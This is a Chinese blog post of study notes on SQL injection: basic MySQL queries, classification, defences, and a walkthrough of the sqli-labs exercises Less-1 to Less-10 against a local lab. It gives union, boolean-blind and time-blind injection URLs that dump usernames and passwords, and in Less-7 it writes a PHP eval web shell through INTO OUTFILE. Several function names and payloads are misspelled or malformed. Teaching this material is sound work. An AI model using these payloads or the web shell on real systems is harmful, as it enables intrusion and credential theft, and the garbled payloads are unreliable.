SQL注入

目录

一.简单基本用法

二.原理

三.分类

按注入点类型分类

按数据提交的方式分类

按执行效果分类

四.防御

五.利用

六.一般步骤

七.Less-1-Less-10

Less-1

Less-2

Less-3

Less-4

Less-5 BOOL型

Less-6

Less-7

Less-8

Less-9

Less-10


一.简单基本用法

查库:select schema_name from information_schema.schemata

查表:select table_name from information_schema.tables (where table_schema='security')

查列:select column_name from information_schema.columns(where table_name='users')

查字段:select usersname,password from security.users

limit 的用法:limit m,n;其中m指的是记录开始的位置,从m=0开始,表示第一条记录;n是指取几条记录

Version();当前 mysql 的版本

Database();当前网站使用的数据库

select @@database:MYSQL 的安装路径

User();当前 MySQL 的用户

system_user(); 系统用户名

session_user();连接数据库的用户名

current_user;当前用户名

load_file();读取本地文件

length(str) : 返回给定字符串的长度,如 length(“string”)=6

substr(string,start,length) : 对于给定字符串string,从start位开始截取,截取length长度 ,如 substr(“chinese”,3,2)=“in”

concat(username):将查询到的username连在一起,默认用逗号分隔

concat(str1,’’,str2):将字符串str1和str2的数据查询到一起,中间用连接

group_concat(username) :将username数据查询在一起,用逗号连接

order by : select * from users order by 1;按照第几列进行排序

concat_ws('~',A,B):A~B

@@versio_compile_os:当前的操作系统

二.原理

sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击

三.分类

按注入点类型分类

1.数字型注入点 原型:select * from 表名where id=1

2.字符型注入点 原型:select * from 表名 where name=“admin”

3.搜索型注入点 原型:select * from +表名where 字段 '%关键字%'

按数据提交的方式分类

1.GET 注入 提交数据方式为GET,注入点的位置在GE参数部分

2.POST注入 注入点位置在POST数据部分

3.Cookie注入 HTTP请求的时候会带上客户端的cookie,注入点在cookie当中的某个字段中

4.HTTP头部注入 注入点在HTTP请求头部的某个字段中

按执行效果分类

  1. 基于布尔的盲注 即可以根据返回值页面判断条件真假的注入

  2. 基于时间的盲注 即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行来判断

  3. 基于报错注入 即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中

  4. 基于数字型注入

  5. 联合查询注入 使用union 的情况下的注入

  6. 堆查询注入 可以同时执行多条语句的执行时的注入

  7. 宽字节注入

四.防御

1.通过使用静态和动态测试,定期检查并发现应用程序中的SQL注入漏洞

2.不要使用动态SQL,避免将用户提供的输入直接放入SQL语句中

3.使用转义字符,来修复SQL注入漏洞,以便忽略掉一些特殊字符

4.通过对SQL关键字和关键符号的过滤来避免SQL注入漏洞的发生

5.对访问数据库的Web应用程序采用[Web应用防火墙]这有助于识别出针对SQL注入的各种尝试,进而防止此类尝试作用到应用程序上

6.限制数据库权限和特权,将数据库用户的功能设置为最低要求,这样可以限制攻击者在设法获取访问权限时可以执行的操作

五.利用

判断注入点:1.单引号

2.and 语句

3.or语句

4.加号

5.减号

查库:select schema_name from information_schema.schemata

查字段信息:select username,password from security.users

查找安装路径:select @@database:

判断数据库版本: Version()

六.一般步骤

1.先加单引号双引号

2.在URL后加and 1=1,and 1=2,不一样则存在SQL 注入漏洞

3.时间盲注:使用benchmark()函数,用于测试性能;(benchmark(count,expr),这个函数执行的结果时将表达式expr执行count 次)

七.Less-1-Less-10

Less-1

​
http:127.0.0.1/sqil/Less-1 /?id=1
http:127.0.0.1/sqil/Less-1 /?id=1 and 1=1
http:127.0.0.1/sqil/Less-1 /?id=1 and 1=2
http:127.0.0.1/sqil/Less-1 /?id=1'/* 存在注入漏洞*/
http:127.0.0.1/sqil/Less-1 /?id=1' order by 10--+ /*回显失败*/
/*二分法*/
http:127.0.0.1/sqil/Less-1 /?id=1' order by 5--+ /* 回显失败*/
http:127.0.0.1/sqil/Less-1 /?id=1' order by 3--+  /*回显成功*/
http:127.0.0.1/sqil/Less-1 /?id=1' order by 4--+ /*回显失败说明只有三列*/
http:127.0.0.1/sqil/Less-1 /?id=1'  union select 1,2,3--+ /*联合查询 无回显信息*/
http:127.0.0.1/sqil/Less-1 /?id=-1'  union select 1,2,3--+ /*将id=1注释掉,有回显,可以进行利用*/
http:127.0.0.1/sqil/Less-1 /?id=-1'  union select 1,2,schema_name from information_schema.schemta--+
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,schema_name from information_schema.schemata  limit 0,1--+
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,schema_name from information_schema.schemata  limit 2,1--+
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2, group_concat(schema_name )from information_schema.schemata  --+
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2, group_concat(table_name )from information_schema.tables where table_schema='security'  --+/*不推荐使用单引号,可能会出现错误,使用十六进制ox同时将security转化为

​

Less-2

http://127.0.0.1/sqli/Less-2/?id=1'/查看是否有注入/

http://127.0.0.1/sqli/Less-2/?id=1 order by 3--+ /查看有多少列/

Less-1与Less-2的区别是单引号注入问题,其余步骤均相同

http://127.0.0.1/sqli/Less-2/?id=1 union select 1,2,3--+/无回显信息/ http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,3--+/将一注释掉/ http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata--+

http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+ http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+ http://127.0.0.1/sqli/Less-2/?id=-1- union select 1,2,username from security.users--+ http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2, concat_ws(0x7e,username,password )from security.users--+

http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,group_concat(concat_ws(0x7e,username,password))from security.users--+

http://127.0.0.1/sqli/Less-2/?id=1'/*查看是否有注入*/
http://127.0.0.1/sqli/Less-2/?id=1 order by 3--+ /*查看有多少列*/

 Less-1与Less-2的区别是单引号注入问题,其余步骤均相同
 http://127.0.0.1/sqli/Less-2/?id=1  union  select 1,2,3--+/*无回显信息*/
http://127.0.0.1/sqli/Less-2/?id=-1  union  select 1,2,3--+/*将一注释掉*/
http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata--+
http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+
http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+
http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,username from security.users--+
http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2, concat_ws(0x7e,username,password )from security.users--+
http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,group_concat(concat_ws(0x7e,username,password))from s

Less-3

http://127.0.0.1/sqli/Less-3/?id=1')--+

http://127.0.0.1/sqli/Less-2/?id=1')order by 3--+ 其余步骤与less-1 less-2相同

Less-4

http://127.0.0.1/sqli/Less-4/?id=1



http://127.0.0.1/sqli/Less-4/?id=1") order by 3--+ 其余步骤均相同

Less-5 BOOL型

http://127.0.0.1/sqli/Less-5/?id=1'/查看是否有注入/

http://127.0.0.1/sqli/Less-5/?id=1' order by 3--+/查看有多少列/

http://127.0.0.1/sqli/Less-5/?id=1' and left((select database()),1)='s'-- //使用二分法 http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1))>100--+

http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1),1,1))>1--+ http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select username from security.users limit

1,1),1,1))>1--+

Less-6

http://127.0.0.1/sqli/Less-6/?id=1'' /其余步骤与Less-相同/

Less-7

补充知识: show vairables like "%secure%",当前的值,如果显示为NULL,则需要打开phpstudy 中MYSQL\my.ini文件,在其中加上一句:secure_life_priv='/'

一句话木马:PHP版本:?php@eval($_POST["crow"]);?其中crow是密码,配合中国菜刀使用

load_life 读取本地文件 用法: select load_life(加文件路径)

into outlife 写文件 用法:1.select 'masql is very good' into outfile 'test.txt'; ​ 2.select 'crow 666' into outfile 'C:\phpstudy\PHPTorial\\WWW\sqil\\Less-7\test.txt'(注意使用双斜线) http://127.0.0.1/sqli/Less-7/?id=1 http://127.0.0.1/sqli/Less-7/?id=1'/报错,字符型注入/ http://127.0.0.1/sqli/Less-7/?id=1'' http://127.0.0.1/sqli/Less-7/?id=1'))--+ http://127.0.0.1/sqli/Less-7/?id=1'))union select 1,2,'<?php @eval ($_POST["crow"]);?>' into outfile ('D:\phpstudy\PHPTuorial\WWW\sqil\Less-7\'test.php')--+



http://127.0.0.1/sqli/Less-7/?id=1')) union select1,2,'crow'into outfile’D:\phpStudy\PHPTutorial\WWW\sqli\Less-7\test.php'--+

http://127.0.0.1/sqli/Less-7/?id=-1')) union select1,2,'<?php @eval($_POST["crow"];)?>'into outfile’D:\phpStudy\PHPTutorial\WWW\sqli\Less-7\a.php'--+ /使用中国菜刀连接/

Less-8

if (conditon A ,B):如果条件contion 为true,则执行语句A,否则执行语句B(类似与c语言中的三目运算符?:)

//法一布尔盲注 http://127.0.0.1/sqli/Less-8/?id=1'--+

http://127.0.0.1/sqli/Less-8/?id=1' order by 3--+/当三改为四时,you are in 消失,说明存在四列/ http://127.0.0.1/sqli/Less-8/?id=1' and left((select database()),1)='s'--+ http://127.0.0.1/sqli/Less-8/?id=1' and ascii(substr((select schema_name from information_schema.schemata limit1,1),1,1))>17--+

http://127.0.0.1/sqli/Less-8/?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 4,1),1,1))=115--+

http://127.0.0.1/sqli/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 3,1),1,1))>11--+ http://127.0.0.1/sqli/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema=0x7365637572697479 limit 1,1),1,1))>10--+ http://127.0.0.1/sqli/Less-8/?id=1' and ascii(substr((select username from security.users limit 0,1),1,1))>10--+ //

法二:时间盲注

http://127.0.0.1/sqli/Less-8/?id=1' and sleep(5)--+/使用延迟的方法判断是否存在注入漏洞/ http://127.0.0.1/sqli/Less-8/?id=1' and if(length(database())=8,sleep(5))--+/当为8的时候很快加载,而为其他值的时候加载较慢(5s左右)/

http://127.0.0.1/sqli/Less-8/?id=1' and if ascii(substr((select database()),1,1))>113,2,sleep(5))--+/如果当前数据库的第一个字母的ASCII值大于113的时候,会立刻返回结果,否则执行5S/ http://127.0.0.1/sqli/Less-8/?id=1' and if ascii(substr((select schema_name from information_schema,schemata limit 4,1),1,1)>112,1,sleep(5))--+

Less-9

http://127.0.0.1/sqli/Less-9/?id=1' order by 3999--+/当使用order by 的时候,此时无论如何都是回显you are in......所以无法使用order by 进行判断/

http://127.0.0.1/sqli/Less-9/?id=1' and sleep(5)--+/当存在注入漏洞时,可以使用延迟注入进行判断,此时若存在漏洞,则睡眠之后再返回结果/

http://127.0.0.1/sqli/Less-9/?id=1' and if(length(database()=8,1,sleep(5)) 其余步骤同Less-8法二

Less-10

ttp://127.0.0.1/sqli/Less-10/?id=1’‘ 其余步骤同Less-9

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值